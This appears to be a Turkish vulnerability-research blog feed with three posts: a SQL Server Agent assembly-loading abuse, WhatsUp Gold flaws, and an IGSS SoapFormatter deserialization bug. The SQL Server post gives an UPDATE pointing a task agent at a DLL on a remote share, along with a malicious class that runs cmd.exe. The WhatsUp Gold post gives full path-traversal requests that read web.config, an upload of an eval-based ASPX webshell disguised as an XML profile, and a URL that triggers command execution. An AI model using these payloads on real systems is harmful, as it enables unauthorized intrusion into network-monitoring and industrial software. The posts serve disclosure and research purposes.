C# on exploit7

Sql Server Sad Agent

Fri, 11 Oct 2024 11:00:00 +0400

Sql Server Sad Agent

Sql server hepimizin bildigi Microsoft tarafindan gelistirilen veritabani yonetim sistemidir.

Sad Agent

Sql serverda birden fazla ozellik vardir bunlardan biri olan Sql Agent bugun onu inceleyecegiz. Sql Agent veritabani yonetimi ile ilgili zamanlanmis islemleri otomatize eden bir aractir.

Microsoft.SqlAutoAdmin.SqlAutoAdmin

Sql Agent islemlerini yapan dll Microsoft.SqlAutoAdmin.SqlAutoAdmin.dll bu dll smartbackup,jobs vs ozellikleri barindiran dll.

LoadTaskAgentAssembly

SmartAdminManager’de bulunan LoadTaskAgentAssembly metoduna bakalim.

private Assembly LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor taskAgentDescriptor)
		{
			Assembly assembly = null;
			string text = taskAgentDescriptor.binaryName;
			if (!string.IsNullOrEmpty(taskAgentDescriptor.binaryPath))
			{
				text = taskAgentDescriptor.binaryPath + "\\" + text;
			}
			try
			{
				this.DebugLog("SmartAdminManager: Trying to load task assembly from " + text + "\n");
				assembly = Assembly.LoadFrom(text);
			}
			catch (FileNotFoundException)
			{
				this.DebugLog("SmartAdminManager: Assembly not found at " + text + "\n");
			}
			if (null == assembly)
			{
				FileInfo fileInfo = new FileInfo(Assembly.GetExecutingAssembly().Location);
				text = fileInfo.DirectoryName + "\\" + taskAgentDescriptor.binaryName;
				try
				{
					this.DebugLog("SmartAdminManager: Trying again to load task assembly from " + text + "\n");
					assembly = Assembly.LoadFrom(text);
				}
				catch (FileNotFoundException)
				{
					this.DebugLog("SmartAdminManager: Assembly not found at " + text + "\n");
				}
				if (null != assembly)
				{
					taskAgentDescriptor.binaryPath = fileInfo.DirectoryName;
					this.UpdateTaskAgentPath(taskAgentDescriptor);
				}
			}
			return assembly;
		}

Burada kodu incelemeye baslamadan once dikkat etmemiz gereken TaskAgentDescriptor nested struct var onda da bakalim.

	private struct TaskAgentDescriptor
		{
			// Token: 0x040000CC RID: 204
			public string binaryName;

			// Token: 0x040000CD RID: 205
			public string binaryPath;

			// Token: 0x040000CE RID: 206
			public string className;
		}

Assembly assembly = null; olarak tanimlaniyor.
taskAgentDescriptor.binaryName degeri text degiskenine ataniyor.
Eger binaryPath bos degilse binaryPath + "\\"+ text birlestiriliyor.
ardindan Assembly.LoadFrom ile binary cagiriliyor.

Onemli nokta Assembly.LoadFrom ama tek basina rce icin yeterli degil (ntlm relay vs icin yeterlidir.)

LoadTaskAgentAssembly Trace

Microsoft.SqlServer.SmartAdmin.SmartAdminManager.LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor) : Assembly @060000D7
		Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Run() : void @060000D9
				Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Start(INativeServices) : bool @060000D4

GetTaskAgentDescriptors

private SmartAdminManager.TaskAgentDescriptor[] GetTaskAgentDescriptors()
		{
			SmartAdminManager.TaskAgentDescriptor[] array = null;
			this.DebugLog("TaskMetadataService.GetTasks: Getting SqlConnectivity Service.\n");
			try
			{
				this.DebugLog("GetTaskAgentDescriptors: Getting Sql connection.\n");
				int num = 0;
				using (SqlConnection privateConnection = this.sqlConnectivityService.GetPrivateConnection(false))
				{
					this.DebugLog("GetTaskAgentDescriptors: Getting number of tasks to execute.\n");
					using (SqlCommand sqlCommand = new SqlCommand("SELECT COUNT(*) FROM autoadmin_task_agents", privateConnection))
					{
						using (SqlDataReader sqlDataReader = sqlCommand.ExecuteReader())
						{
							while (sqlDataReader.Read())
							{
								array = null;
								array = new SmartAdminManager.TaskAgentDescriptor[sqlDataReader.GetInt32(0)];
							}
						}
					}
					this.DebugLog("TaskMetadataService.GetTasks: Getting task details.\n");
					using (SqlCommand sqlCommand2 = new SqlCommand("SELECT * FROM autoadmin_task_agents", privateConnection))
					{
						using (SqlDataReader sqlDataReader2 = sqlCommand2.ExecuteReader())
						{
							while (sqlDataReader2.Read())
							{
								array[num].binaryName = sqlDataReader2.GetString(1);
								array[num].binaryPath = sqlDataReader2.GetString(2);
								array[num].className = sqlDataReader2.GetString(3);
								num++;
							}
						}
					}
				}
			}

Run

GetTaskAgentDescriptors methodunu cagirarak task agent descriptors kisimlarini aliyor ve arraya atiyor.
GetTaskAgentDescriptors methodunun gorevi sql baglantisi kurup autoadmin_task_agents tablosuna count atiyor ardindan autoadmin_task_agents tablosuna select atiyor.
Select sorgusundan donen her veriyi binaryName,binaryPath,className degerlerini taskAgentDescriptor arrayina atiyor.

Run methodunda onemli ve bizi ilgilendiren kisim else bolumu.

Type type = assembly.GetType(taskAgentDescriptor.className);
						if (type == null || !type.IsSubclassOf(typeof(TaskAgent)))
						{
							this.loggerService.Log("[SmartAdmin] Task agent " + taskAgentDescriptor.binaryName + " was loaded but is not compatible with the current version of SqlAutAdmin");
						}
						else
						{
							this.DebugLog("SmartAdminManager.Run: Creating task instance.\n");
							this.taskAgents[i] = (TaskAgent)assembly.CreateInstance(type.FullName);
							this.DebugLog("SmartAdminManager.Run: Starting the task.\n");
							this.taskAgents[i].Start(this);
							array[i] = new Thread(new ThreadStart(this.taskAgents[i].DoWork));
							array[i].Name = this.taskAgents[i].GetName();
							this.DebugLog("SmartAdminManager.Run: Starting the task thread.\n");
							array[i].Start();

assembly.GetType(taskAgentDescriptor.className) ile assembly’den taskAgentDescriptor.className type degerini aliyor.
Alinan type degeri null ise veya typeof ile TaskAgent classindan mi aliyor.
CreateInstance type’daki FullName’i alir. (Not:CreateInstance c# da belirli bir class,struct degerlerinin dinamik instance olusturmak icin kullanir.)
Ardindan Start metoduna gonderir.

IsSubclassOf

IsSubclassOf bir reflection methodudur. Biraz buna baktigimda gordum ki belirli bir type degerinin baska bir type’in (class’in) alt sinifi olup olmadigini kontrol ediyor bu kodda da bize type bypass kolayligi sagliyor.

TaskAgent

using System;

namespace Microsoft.SqlServer.SmartAdmin
{
	// Token: 0x0200002B RID: 43
	public abstract class TaskAgent
	{
		// Token: 0x0600010A RID: 266
		public abstract void Start(IServicesFactory services);

		// Token: 0x0600010B RID: 267
		public abstract void Stop();

		// Token: 0x0600010C RID: 268
		public abstract void DoWork();

		// Token: 0x0600010D RID: 269
		public abstract void ExternalJob(string command, LogBaseService jobLogger);

		// Token: 0x0600010E RID: 270 RVA: 0x000060B8 File Offset: 0x000050B8
		public string GetName()
		{
			return this.taskAgentSignature;
		}

		// Token: 0x040000C8 RID: 200
		protected string taskAgentSignature;
	}
}

Exploit7 Bolumu

Sql injection uzerinden stack query varsa yapilabilir.

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

Microsoft.SqlServer.SmartAdmin TaskAgent classindan bir class turetelim.

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
    public class Class1 : TaskAgent
    {
        public Class1()
        {

            Process process = new Process();
            process.StartInfo.FileName = "cmd.exe";
            process.StartInfo.Arguments = "/c ping localhost -t";
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.RedirectStandardOutput = true;
            process.Start();
            process.WaitForExit();
        }

        public override void DoWork()
        {

        }

        public override void ExternalJob(string command, LogBaseService jobLogger)
        {

        }

        public override void Start(IServicesFactory services)
        {

        }

        public override void Stop()
        {

        }

       
        public void Test()
        {

        }
    }
}

WhatsUp Gold Unauth Series

Thu, 10 Oct 2024 11:00:00 +0400

WhatsUp Gold Unauth Series

WhatsUp Gold Progress firmasi tarafindan gelistirilmis network monitoring aracidir, bu urunu incelemeye basladigimda buldugum aciklari bildirmek icin biraz gec kaldim, elimde sadece daha once yazdigim bu yazi kaldi, yaziyi da duzenleyip, detaylandirip paylasiyorum. Bu aciklardan bir kac tanesini SinSinology (blogu) summoning.team adli ve diger arastirmaci arkadaslar blog olarak yayinladi bende kendi buldugum kadariyla paylasmak istiyorum keyifli okumalar.

Not: WhatsUp Gold’un eski surumu oldugu icin tekrar indiremedim eski exesi duruyormus fakat lisans problemi vs ile karsilastim bu yuzden yazimda eski oldugu icin bazi kodlar eksik.

WhatsUp Gold Extensions

WhatsUp Gold’da birden fazla extension defaultta kurulu gelmektedir 2023.1.1 - 2023.1.3’e kadar olan surumlerde bu eklentiler vardir (2023.1.3’de APM WUG eklentilerindeki aciklari fixlediler.) Agent,APM,Common,FlowMonitor,Wireless,WUG. (yanlis bilgi vermemek acisindan hatirladigim extensionlar bunlar)

Vuln Trace (WUG)

WhatsUp Gold WUG eklentisi admin islemleri, database baglantisi, error yonetimi vs… sorumlu eklentidir.

SessionController LoadPlugin => LoadUsingBasePath => LoadPluginFromFile

SessionController kontrollerinde LoadPlugin methodu var LoadPlugin name,title,sParams adinda parametreler aliyor ve LoadUsingBasePath methoduna gonderiyor.


public ActionResult LoadPlugin(string name, string title = "", string sParams = "")
		{
			return this.LoadUsingBasePath("~/ux/plugins/", name, title, sParams, true); 
		}

private ContentResult LoadUsingBasePath(string inputBasePath, string name, string title = "", string sParams = "", bool useStickys = true)
		{
			IUserService service = DependencyResolverExtensions.GetService<IUserService>(DependencyResolver.Current);
			int num = service.GetCurrentUsersID() ?? (-1);
			int currentUsersLanguageID = service.GetCurrentUsersLanguageID();
			if (name.Length == 0)
			{
				return base.Content("alert('No name specified');", "text/javascript");
			}
			name = name.Replace("..", "");
			name = name.Replace(":", "");
			string text = base.Server.MapPath(inputBasePath + name); 
			if (sParams.Length == 0)
			{
				sParams = "{}";
			}
			Dictionary<string, string> dictionary = new Dictionary<string, string>();
			string text2 = this.LoadPluginFromFile(text, num, currentUsersLanguageID, dictionary);
			text2 = text2.Replace("(nm,{})", "(nm," + sParams + ")");
			text2 = text2.Replace("(nm, {})", "(nm," + sParams + ")");
			if (text2.Length == 0)
			{
				return base.Content(string.Concat(new string[] { "nm.AddPanel({title:'", title, "', closable:true, html: 'No plugin found for ", name, "'});" }), "text/javascript");
			}
			if (useStickys)
			{
				List<object> appStickys = this.GetAppStickys(num, name);
				if (appStickys.Count > 1)
				{
					string text3 = name.Replace(".js", "");
					string text4 = new JavaScriptSerializer().Serialize(appStickys);
					text2 = string.Concat(new string[] { "(function(nm){ nm.sticky.build('", text3, "', ", text4, "); })(nm);\n", text2 });
				}
			}
			return base.Content(text2, "text/javascript");
		}

LoadUsingBasePath methodunda dikkat etmemiz gereken iki tane replace kismi var .. ve : name parametresinden gelen verilerin icinde bu karakterler geciyorsa onlari siliyor sonra ~/ux/plugins/ + name Server.MapPath ile path yolunu olusturuyor en son LoadPluginFromFile methoduna gonderiyor. name parametresini direk Server.MapPath’e ataniyor Server.MapPath name parametresi ile gelen veriyi tam bir path’e cevirir problem burda baslar Server.MapPath verilen veriyi tam olarak bir pathe cevirecegi icin silinen karakterler yeterli olmamaktadir.

GET /NmConsole/Session/LoadPlugin?name=%5C...%3A%3A...%5C...%3A%3A...%5C...%3A%3A...%5CNM.UI\Web.config&title=asd HTTP/2
Host: 192.168.110.55:4431
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
Accept: application/json
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.110.55:4431/NmConsole/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

Call Trace LoadUsingBasePath

LoadUsingBasePath methodunun diger kullanildigi yerleri analiz ediyorum birden fazla kullanilan yer var, son olara LoadNMScript methodunu da gosterecegim

GET /NmConsole/Session/LoadNMScript?name=%5C...%3A%3A...%5C...%3A%3A...%5CNmConsole\web.config&title=asd HTTP/2
Host: 192.168.110.55:4431
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
Accept: application/json
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.110.55:4431/NmConsole/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

Vuln Trace (APM)

WhatsUp Gold’un Application Performance Monitoring (APM) eklentisi Exchange, Sql Server, Dynamics, DNS, IIS, Active Directory gibi kritik uygulamalarin performansini izlemekte gorevlidir.

APM eklentisinin CommunityController kontrollerine bakalim.

public ActionResult Import(IEnumerable<HttpPostedFileBase> importFiles)
	{
		ActionResult actionResult;
		try
		{
			foreach (HttpPostedFileBase httpPostedFileBase in importFiles)
			{
				if (httpPostedFileBase.ContentType != "text/xml")
				{
					throw new Exception("File imports need to be xml content");
				}
				string empty = string.Empty;
				try
				{
					CommunityController._model.ImportProfileFromDisk(httpPostedFileBase, this._GetPublicKeyFileName(), out empty);
					if (string.Compare(httpPostedFileBase.FileName, "PublicKey.xml", true) != 0)
					{
						httpPostedFileBase.SaveAs(Path.Combine(base.Server.MapPath("~/Content/APM/Import"), httpPostedFileBase.FileName));
					}
				}
				catch (Exception ex)
				{
					string text = ex.Message;
					if (ex.InnerException != null && !string.IsNullOrWhiteSpace(ex.InnerException.Message))
					{
						text = text + Environment.NewLine + ex.InnerException.Message;
					}
					return base.Content(text);
				}
			}
			actionResult = base.Content(string.Empty);
		}
		catch (Exception ex2)
		{
			actionResult = base.Content(ex2.Message);
		}
		return actionResult;
	}

CommunityController’daki Import methoduna bakinca bizden post multipart/form-data ile bir ContentType text/xml olan bir dosya bekliyor ve ardindan ImportProfileFromDisk methoduna gonderiyor orada da (string.Compare(httpPostedFileBase.FileName, "PublicKey.xml", true) != 0) kismi bizim gonderdigimiz dosyanin isminin PublicKey.xml olup olmadigini kontrol ediyor eger dosya ismi PublicKey.xml ise 0 degeri dondurur ama degilse bir alttaki kosula gecer o kosul ise gonderdigimiz dosyanin uzantisini vs kontrol etmeden direk veriyi kayit eder. Burada veriyi gonderirken yapacagimiz tek sey gonderecegimiz xml verisinin APM yapisina uygun olmasi gerekiyor yanlis hatirlamiyorsam ' gibi karaterlere kiziyordu.

Buraya direk aspx shell yukleyemeyiz dedigim gibi xml yapisi APM’ye uygun olmali bu yuzden APM’ye uygun ayni zamanda xml yapisindaki CDATA (Character Data) icerisinde kullanacagiz. <script language="JScript" runat="server">function Page_Load(){eval(Request["p"],"unsafe");}</script> Request’den p parametresini bekliyor ve cok yaygin olarak bilinen eval ile calistiriyor ornek olarak ?p=Response.Write('test123') ile response’a test123 yazacaktir.

POST /NmConsole/Apm/Community/Import HTTP/2
Host: 192.168.110.55:4431
Content-Length: 3503
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycTcTButXxqGsU5GA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

------WebKitFormBoundarycTcTButXxqGsU5GA
Content-Disposition: form-data; name="importFiles"; filename="6.aspx"
Content-Type: text/xml

<?xml version="1.0"?>
<EntityAPMApplication xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Name>Active Directory Controller (2003)</Name>
  <Description><![CDATA[<script language="JScript" runat="server">function Page_Load(){eval(Request["p"],"unsafe");}</script>]]></Description>
  <ApplicationID>1</ApplicationID>
  <ApplicationType>
    <Name>Microsoft Active Directory</Name>
    <Description>Microsoft Active Directory</Description>
    <ApplicationTypeID>1034</ApplicationTypeID>
    <IconPath>microsoftad.png</IconPath>
  </ApplicationType>
  <ActionPolicyDefinitionID xsi:nil="true" />
  <Version>1.0</Version>
  <RequiredAPMVersion>1.0</RequiredAPMVersion>
  <UserDefined>false</UserDefined>
  <IsRemoved>false</IsRemoved>
  <UpgradeGUID>9e8c0fb1-d89c-42f9-bc0f-deee8314d713</UpgradeGUID>
  <StoredProfileID>1</StoredProfileID>
  <Components>
        <EntityAPMComponent>
      <Name>LDAP Bind Rate</Name>
      <Description>Monitors the number of LDAP binds per second.</Description>
      <ComponentID>32</ComponentID>
      <ApplicationID>1</ApplicationID>
      <ComponentType>
        <Name>WMI (Raw)</Name>
        <Description>WMI (Raw)</Description>
        <ApplicationTypeID>513</ApplicationTypeID>
        <IconPath>WMI.svg</IconPath>
      </ComponentType>
      <IsRemoved>false</IsRemoved>
      <Critical>false</Critical>
      <PollFrequencyMin>5</PollFrequencyMin>
      <Category>Wmi</Category>
      <GUID>3392abfe-cc36-47e1-9b53-bd1d2b9e060e</GUID>
      <RequiredCredentialType>8</RequiredCredentialType>
      <Discoverable>false</Discoverable>
      <UpgradeGUID>41371586-6866-4b4d-bca5-e90701775303</UpgradeGUID>
      <PerformanceThresholdConfig>
        <WarningValue>0</WarningValue>
        <WarningValueUnitOfMeasure>NONE</WarningValueUnitOfMeasure>
        <WarningComparator>LESS_THAN</WarningComparator>
        <WarningDurationEvalPeriod>10</WarningDurationEvalPeriod>
        <WarningDurationUnit>MINUTES</WarningDurationUnit>
        <DownValue>0</DownValue>
        <DownValueUnitOfMeasure>NONE</DownValueUnitOfMeasure>
        <DownComparator>LESS_THAN</DownComparator>
        <DownDurationEvalPeriod>20</DownDurationEvalPeriod>
        <DownDurationUnit>MINUTES</DownDurationUnit>
      </PerformanceThresholdConfig>
      <ConfigurationData>
        <EntityNameValuePairs>
          <Name>WMI:Counter-Displayname</Name>
          <Value>NTDS \ LDAP Successful Binds/sec</Value>
        </EntityNameValuePairs>
        <EntityNameValuePairs>
          <Name>WMI:Counter-InstanceName</Name>
          <Value>NULL</Value>
        </EntityNameValuePairs>
        <EntityNameValuePairs>
          <Name>asdWMI:Counter-PropertyName</Name>
          <Value>LDAPSuccessfulBindsPersec</Value>
        </EntityNameValuePairs>
        <EntityNameValuePairs>
          <Name>WMI:Counter-RelativePath</Name>
          <Value>Win32_PerfRawData_NTDS_NTDS</Value>
        </EntityNameValuePairs>
        <EntityNameValuePairs>
          <Name>WMI:Counter-Timeout</Name>
          <Value>2000</Value>
        </EntityNameValuePairs>
      </ConfigurationData>
    </EntityAPMComponent>
  </Components>
  <Groups />
  <Attributes />
</EntityAPMApplication>
------WebKitFormBoundarycTcTButXxqGsU5GA--

Exploit7 Bolumu

https://192.168.110.55:4431/NmConsole/Content/Apm/Import/6.aspx?p=new%20ActiveXObject("WScript.Shell").Exec("calc.exe")

Devami gelecektir…

Schneider Electric Remote Code Execution

Thu, 03 Oct 2024 11:00:00 +0400

Schneider Electric Remote Code Execution (CVE-2023-3001)

Schneider Electric’in IGSS (Intelligent Graphical Scada System) yazilimi, endustriyel otomasyon ve kontrol sistemleri icin kullanilan bir SCADA (Supervisory Control and Data Acquisition) platformudur.

Schneider Electric Dashboard

Ilk once IGSS’nin kendi processine bakiyorum IGSSMaster.exe dnspy ile biraz baktiktan sonra diger modullerine bakiyorum alarm,dashboard,job scheduler,maintenance vs…

Dashboard.exe!

Bu exeyi biraz inceledigimde IGSS’nin .DASH adinda proje dosyasini editleme, yeniden olusturma, varolan bir dash dosyasini acma gibi ozellikleri var. Burada dikkat ceken yerler save ve load methodlaridir;

`Save` Methodu

Save methodu neler yapiyor, disardan aldigi name parametresi pathFromName fonksiyonu ile kontrol ediyor, pathFromName fonksiyonu da Path.GetExtension’a soruyor Path.GetExtension’ fonksiyonu mscorlib dllinde System.IO namespace’nin bir fonksiyonudur bu fonksiyonda verdigimiz verinin dosya uzantisini cikartiyor ornek olarak abc.txt => .txt gibi. Tekrar pathFromName’e geri donelim verdigimiz verinin uzantisini kontrol ediyor verilen degerin uzantisi bossa direk .DASH olmaktadir.

string text = this.pathFromName(name);

public string pathFromName(string name)
		{
			string extension = Path.GetExtension(name);
			if (extension == null || extension == string.Empty)
			{
				name += ".DASH";
			}
			return Path.Combine(DashFiles.getDashTempPath(), name);
		}

name parametresini pathFromName fonksiyonuna atiyor.
name parametresi ile verileni File.OpenWrite yardimi ile aciyor.
Serialize ediyor.

SoapFormatter, .NET Framework icerisinde yer alan bir serilestirme aracidir. Bu arac, nesneleri SOAP (Simple Object Access Protocol) formatinda serilestirip yani bir dizi byte donusturup depolamak veya ag uzerinden iletmek icin kullanilir. SoapFormatter, genellikle uzaktan prosedur cagri RPC ve web servisleri ile etkilesimde bulunmak icin kullanilir.

`Load` Methodu

WidgetContainer nesnesini null olarak tanimliyor.
CGetGenFileData sinifindan bir nesne olusturuluyor m_conf.getGenFileDataSource methodu, gerekli ozelliklere gore veri kaynagi sagliyor.
genFileDataSource.getGenFile name parametresinden aldigi .DASH uzantisi eklenerek olusturulan dosya adini temp file yolunu kullanarak dosyayi alir.
Catch icerigini es geciyorum.
name parametresini aliyor save methodundaki gibi kontrol vs.
Eger dosya varsa dosyayi okuyor.
Deserialize ediyor.

Bizim icin en onemli madde 7. maddedir, ozet olarak bir dosyayi aliyor kayit ediyor, duzenliyor, aciyor bunlari yaparken serialize ve deserialize islemi gerceklestiriyor.

Exploit7 Bolumu

SoapFormatter ile cmd.exe /c calc.exe calistiracagimiz gadgeti olusturuyoruz ve sonuc…

C# on exploit7

Sql Server Sad Agent

Sql Server Sad Agent

Sad Agent

Microsoft.SqlAutoAdmin.SqlAutoAdmin

LoadTaskAgentAssembly

LoadTaskAgentAssembly Trace

GetTaskAgentDescriptors

Run

IsSubclassOf

TaskAgent

Exploit7 Bolumu

WhatsUp Gold Unauth Series

WhatsUp Gold Unauth Series

WhatsUp Gold Extensions

Vuln Trace (WUG)

Call Trace LoadUsingBasePath

Vuln Trace (APM)

Exploit7 Bolumu

Schneider Electric Remote Code Execution

Schneider Electric Remote Code Execution (CVE-2023-3001)

Schneider Electric Dashboard

Dashboard.exe!

Save Methodu

Load Methodu

Exploit7 Bolumu

`Save` Methodu

`Load` Methodu